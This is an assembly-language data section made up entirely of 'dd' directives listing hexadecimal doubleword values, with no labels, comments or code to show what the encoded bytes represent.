dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h
dd 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h
dd 0F6BF2780h
dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h
dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh
dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah
dd 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h
dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h
dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h
dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh
dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h
dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch
dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh
dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h
dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh
dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah
dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h
dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h
dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h
dd 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch
dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh
dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh
dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h
dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h
dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh
dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h
dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h
dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh
dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h
dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch
dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h
dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h
dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h
dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah
dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh
dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h
dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h
dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h
dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h
dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh
dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h
dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h
dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h
dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h
dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh
dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah
dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h
dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h
dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch
dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh
dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h
dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh
dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h
dd 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h
dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h
dd 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h
dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh
dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah
dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh
dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h
dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h
dd 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh
dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh
dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h
dd 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh
dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h
dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h
dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h
dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h
dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h
dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h
dd 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h
dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h
dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h
dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h
dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh
dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h
dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h
dd 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h
dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah
dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h
dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh
dd 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh
dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch
dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h
dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h
dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh
dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h
dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h
dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh
dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh
dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h
dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh
dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h
dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h
dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h
dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h
dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h, 0F01F84h
dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h
dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h
dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h
dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h
dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h, 320D0598h
dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h
dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch
dd 7500F25Dh, 43C61611h
dd 28FB05h, 0C134E94Ah, 0A282701Dh, 1C8E9507h, 857214C0h
dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h
dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h
dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h
dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h, 699D7F9h
dd 87578580h, 30871C2h, 0A2B45005h, 604C6A8Eh, 4DE82C66h
dd 49271B00h, 0C0223Dh, 0BAE12A76h, 0AA922E38h, 7B430700h
dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h
dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch
dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h
dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h
dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h
dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h
dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h
dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h
dd 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh
dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h
dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h
dd 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h
dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h
dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h
dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h
dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h
dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh
dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h
dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h
dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h
dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch
dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h
dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h, 93F20052h
dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h
dd 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh
dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h
dd 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h
dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h
dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h
dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h
dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h
dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h
dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h
dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h
dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h
dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh
dd 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh
dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h
dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh
dd 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h
dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h
dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh
dd 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h
dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h
dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h
dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h
dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h
dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h
dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh
dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h
dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh
dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh
dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh
dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h
dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h
dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h
dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh
dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah
dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h
dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h
dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h
dd 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h, 3A3064A0h
dd 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h, 80142E66h
dd 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h, 835D8200h
dd 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h, 28AB5168h
dd 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h, 62C45EE1h
dd 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh, 488858B5h
dd 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h, 5328BF07h
dd 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h, 60A478C2h
dd 30AEB15h, 0EC4502FAh, 0ADD85852h, 3B004683h, 0FFAE6787h
dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h, 2C52D426h
dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah, 8F748D2h
dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch, 0A5349714h
dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h, 0CE64AA58h
dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h, 508388EBh
dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh, 9A5BF8h
dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh
dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h
dd 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h
dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h
dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h, 10658100h
dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch
dd 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh
dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h
dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h
dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h
dd 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h, 75323C48h
dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh
dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h
dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h
dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h
dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah
dd 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h
dd 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch
dd 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h
dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h
dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h
dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h
dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h
dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch
dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h
dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h
dd 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h
dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h
dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh
dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah
dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah
dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h
dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h
dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h
dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h
dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h
dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h
dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh
dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h
dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h
dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h
dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h
dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h
dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh
dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch
dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h
dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h
dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h
dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch
dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h
dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h
dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h
dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h
dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h
dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h
dd 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h
dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh
dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h
dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h
dd 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh
dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h
dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h
dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h
dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h
dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h
dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh
dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h
dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h
dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h
dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h
dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h
dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h
dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh
dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h
dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh
dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h
dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h
dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h, 4D050775h
dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h
dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h
dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh
dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h
dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh
dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh
dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h
dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h
dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h
dd 8B9303E8h, 0F60AB024h
dd 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h
dd 487E00FFh, 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h
dd 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h
dd 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh
dd 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h
dd 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h
dd 0D1B77718h, 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh
dd 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h
dd 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h
dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh, 547300ECh
dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h
dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h
dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h
dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h, 0D8E2B0h
dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h
dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h
dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h
dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh
dd 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch
dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh
